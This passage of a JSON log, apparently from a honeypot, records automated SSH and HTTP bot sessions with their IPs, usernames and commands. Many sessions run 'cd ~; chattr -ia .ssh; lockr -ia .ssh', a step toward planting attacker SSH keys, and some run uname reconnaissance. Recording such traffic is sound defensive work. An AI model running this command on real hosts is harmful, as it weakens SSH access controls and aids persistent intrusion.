  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:02:03.274397+00:00",
  "ended_at": "2026-08-27T13:02:04.383362+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "265b032d-a13d-447d-9df1-5490dd850bca",
  "name": "fabled-northern-jerboa",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "170.106.187.106",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:01:46.446098+00:00",
  "ended_at": "2026-08-27T13:17:13.176493+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4e8cccf0-f1d9-4dac-8c76-75c2917cbf7d",
  "name": "golden-blithe-bobcat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 40198,
  "username": "suraj",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:01:41.155940+00:00",
  "ended_at": "2026-08-27T13:01:42.030400+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0e10a966-e349-401c-acab-556c4b3c698b",
  "name": "snowy-crimson-catbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 47534,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:01:39.111115+00:00",
  "ended_at": "2026-08-27T13:01:40.495591+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1a44aa23-34f2-4ab5-aab8-45dbfbbaff84",
  "name": "ancient-sullen-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 60000,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 446,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:01:22.570271+00:00",
  "ended_at": "2026-08-27T13:01:24.019166+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2256
 },
 {
  "id": "dd9ddacc-5394-4a9b-9f5b-df3e4b4b5abb",
  "name": "proud-salty-teal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 60026,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:01:05.858991+00:00",
  "ended_at": "2026-08-27T13:01:06.598111+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ac40197a-26d5-40dc-a7e5-d7a2dde51b6d",
  "name": "diligent-crystal-gecko",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 60010,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:01:03.354170+00:00",
  "ended_at": "2026-08-27T13:01:04.987309+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "67f49b82-14e7-4038-aa0c-5ed39a08c396",
  "name": "drifting-quaint-polecat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 49366,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:00:35.440520+00:00",
  "ended_at": "2026-08-27T13:00:57.149775+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1299ead7-4c8d-4d6e-b457-56d7f39f78da",
  "name": "faded-upland-hornbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 34556,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:00:24.397509+00:00",
  "ended_at": "2026-08-27T13:00:26.219203+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "4ece8435-a09b-40d6-80b1-401d239fc981",
  "name": "supple-weathered-lynx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 34560,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:00:09.869482+00:00",
  "ended_at": "2026-08-27T13:00:10.800409+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9d392949-a4e5-4f63-834c-627a707fe5c0",
  "name": "vernal-polar-dingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 34558,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:00:07.763487+00:00",
  "ended_at": "2026-08-27T13:00:09.291896+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a5fda80f-7664-41f9-a4b0-921f3cd98379",
  "name": "russet-mindful-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 45620,
  "username": "admin1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 327,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:00:00.983466+00:00",
  "ended_at": "2026-08-27T13:00:02.535592+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2261
 },
 {
  "id": "64c9ac26-c36e-4ab0-9ec3-98bbcdf0d433",
  "name": "tidal-fringed-stonechat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 45646,
  "username": "admin1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:59:45.776744+00:00",
  "ended_at": "2026-08-27T12:59:46.386320+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "391361d1-85c4-4163-a3bc-009c9a036642",
  "name": "craggy-burly-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 39936,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1116,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:59:43.655151+00:00",
  "ended_at": "2026-08-27T12:59:44.427483+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2332
 },
 {
  "id": "d91355f6-8367-41ae-9882-ce106b0ff799",
  "name": "arctic-mellow-francolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 45630,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:59:43.485539+00:00",
  "ended_at": "2026-08-27T12:59:45.122735+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "26dab256-82a4-47fa-95fb-5e692991cd49",
  "name": "vaulted-sleepy-loris",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 38192,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:59:37.388555+00:00",
  "ended_at": "2026-08-27T12:59:40.357079+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5db6ab5f-6cea-4156-989f-2ab410be75ca",
  "name": "crisp-honest-sandpiper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 34688,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:59:23.528297+00:00",
  "ended_at": "2026-08-27T12:59:25.091372+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a7b12ad3-f6f5-4e6c-b95c-869f7c38acf2",
  "name": "keen-thrifty-gannet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 39222,
  "username": "vyos",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T12:59:22.812735+00:00",
  "ended_at": "2026-08-27T12:59:22.915557+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 736
 },
 {
  "id": "860a6791-a3f4-4073-a631-2a8a43e2b33d",
  "name": "feral-wry-turnstone",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 34674,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:59:20.397620+00:00",
  "ended_at": "2026-08-27T12:59:21.866089+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fa311760-9d13-49dd-9e08-b5906e2ba25d",
  "name": "balmy-scarlet-koala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59974,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 458,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:58:39.450022+00:00",
  "ended_at": "2026-08-27T12:58:40.512283+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "42103dda-053e-4506-aa47-d5294316861b",
  "name": "verdant-proud-llama",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59998,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:58:24.073588+00:00",
  "ended_at": "2026-08-27T12:58:24.936473+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4261b645-f0dc-4c18-9a93-e4988748d742",
  "name": "coastal-frosty-quoll",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59990,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:58:22.139885+00:00",
  "ended_at": "2026-08-27T12:58:23.199192+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b81903e5-027f-4f03-b5d6-2907a4608d6e",
  "name": "brazen-prairie-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 34350,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 295,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:58:17.091596+00:00",
  "ended_at": "2026-08-27T12:58:18.000857+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "990db4c9-ea26-41b4-b957-2395fe52d53c",
  "name": "hushed-thorny-saola",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 34378,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:58:00.848161+00:00",
  "ended_at": "2026-08-27T12:58:01.591834+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "906c3514-79d5-41ae-a824-40aed4be2cef",
  "name": "keen-indigo-flamingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 34364,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:57:59.253898+00:00",
  "ended_at": "2026-08-27T12:58:00.246883+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f5766448-702a-4f7c-9da4-fc116ddb10dc",
  "name": "deft-civil-numbat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 56116,
  "username": "camera",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 327,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:57:58.327929+00:00",
  "ended_at": "2026-08-27T12:57:59.404784+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2247
 },
 {
  "id": "1f017aa2-1cad-41cc-b267-6b06f8c2d2ee",
  "name": "lanky-electric-lorikeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 56136,
  "username": "camera",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:57:43.404175+00:00",
  "ended_at": "2026-08-27T12:57:44.458386+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e3b27f9e-6ed6-4196-a2e2-18434252e9cc",
  "name": "golden-marbled-chinchilla",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 56130,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:57:42.095852+00:00",
  "ended_at": "2026-08-27T12:57:42.753286+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e60ce5f5-6dbd-4313-b46a-5991c59310f8",
  "name": "sandy-smooth-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 42206,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 742,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:56:32.739534+00:00",
  "ended_at": "2026-08-27T12:56:33.501179+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "250eebcf-aea6-4e1f-bc21-b2948783b0f7",
  "name": "coral-murky-wallaby",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 42222,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:56:17.904006+00:00",
  "ended_at": "2026-08-27T12:56:19.614163+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "895413b9-931f-465b-8c57-b22d89f66440",
  "name": "civil-tidal-bowerbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 39882,
  "username": "devuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 208,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T12:56:16.072411+00:00",
  "ended_at": "2026-08-27T12:56:16.177947+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 737
 },
 {
  "id": "e0a83286-66fd-4de3-8153-d3be8a4aaa3f",
  "name": "nameless-obsidian-warbler",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 42212,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:56:14.415174+00:00",
  "ended_at": "2026-08-27T12:56:16.198727+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c6813f20-da54-43e4-8628-5456f230fb6c",
  "name": "meadow-thrifty-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 44592,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:56:13.484738+00:00",
  "ended_at": "2026-08-27T12:56:14.446308+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "dbd209f5-dc7b-4904-92d7-6615076b6410",
  "name": "alpine-patient-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 53752,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:56:01.232088+00:00",
  "ended_at": "2026-08-27T12:56:03.197873+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "dab3dbe7-afbc-45fe-8deb-966d823900b3",
  "name": "barren-sooty-alpaca",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 47624,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:55:57.533245+00:00",
  "ended_at": "2026-08-27T12:55:58.461546+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c82930b5-e157-46ee-bba4-38d1b2a9066d",
  "name": "sincere-mindful-jaguar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 44602,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:55:55.075378+00:00",
  "ended_at": "2026-08-27T12:55:56.949734+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4a14eff5-6cc0-41d5-9fc0-4fa9df943ae4",
  "name": "gallant-coral-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59934,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 450,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:55:54.249532+00:00",
  "ended_at": "2026-08-27T12:55:55.305917+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "ba98acb4-89f9-4369-8938-ed25c5822d12",
  "name": "whispering-jagged-pelican",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 53780,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:55:45.051749+00:00",
  "ended_at": "2026-08-27T12:55:46.051405+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d78d1c00-7325-45f7-8a04-a760eea94a2f",
  "name": "frank-chilly-walrus",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 53764,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:55:43.378544+00:00",
  "ended_at": "2026-08-27T12:55:44.364004+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9be06f9c-e697-4fb9-b6f6-16da28a9537f",
  "name": "silent-eager-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59958,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:55:36.145053+00:00",
  "ended_at": "2026-08-27T12:55:37.131145+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d6d5b297-29a8-450f-a520-ee25e04a4dcf",
  "name": "rugged-airy-salmon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59942,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:55:34.263551+00:00",
  "ended_at": "2026-08-27T12:55:35.244930+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "77fe352d-ca94-40a2-91d5-880dded9378e",
  "name": "oaken-curious-sable",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 43992,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 299,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:54:14.420708+00:00",
  "ended_at": "2026-08-27T12:54:15.991145+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "531cd024-fe1e-45ff-b7d0-72e35385721e",
  "name": "fierce-freckled-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 49812,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 349,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:54:05.492043+00:00",
  "ended_at": "2026-08-27T12:54:07.607201+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "f1020119-4ea4-4910-8fac-75f4eda3f84e",
  "name": "cunning-quartz-saola",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 44012,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:53:59.189158+00:00",
  "ended_at": "2026-08-27T12:54:00.976479+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1f235dfb-ce93-452f-9a97-6a180a7cbec5",
  "name": "ruddy-tidal-cormorant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 44008,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:53:57.540818+00:00",
  "ended_at": "2026-08-27T12:53:58.592377+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f4ae9bdf-98aa-4d50-9031-a865cd7847d6",
  "name": "wiry-crystal-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 51566,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:53:49.222503+00:00",
  "ended_at": "2026-08-27T12:53:49.824622+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2cd7726d-73f3-48fd-99cd-d1f621326136",
  "name": "drifting-downy-rook",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 49822,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:53:47.582639+00:00",
  "ended_at": "2026-08-27T12:53:48.574067+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7a2c05d7-d1f7-4927-b366-3ad898d3786c",
  "name": "subtle-burly-goldcrest",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 50730,
  "username": "dev",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:53:29.475090+00:00",
  "ended_at": "2026-08-27T12:53:30.458786+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e99b7554-cd6d-4e29-b885-01eb13750ad8",
  "name": "mottled-snowy-reindeer",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 50048,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:53:25.930406+00:00",
  "ended_at": "2026-08-27T12:53:27.848701+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "156ef38e-9668-4b05-bf53-1206e99e3023",
  "name": "deft-idle-godwit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 50036,
  "username": "dev",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
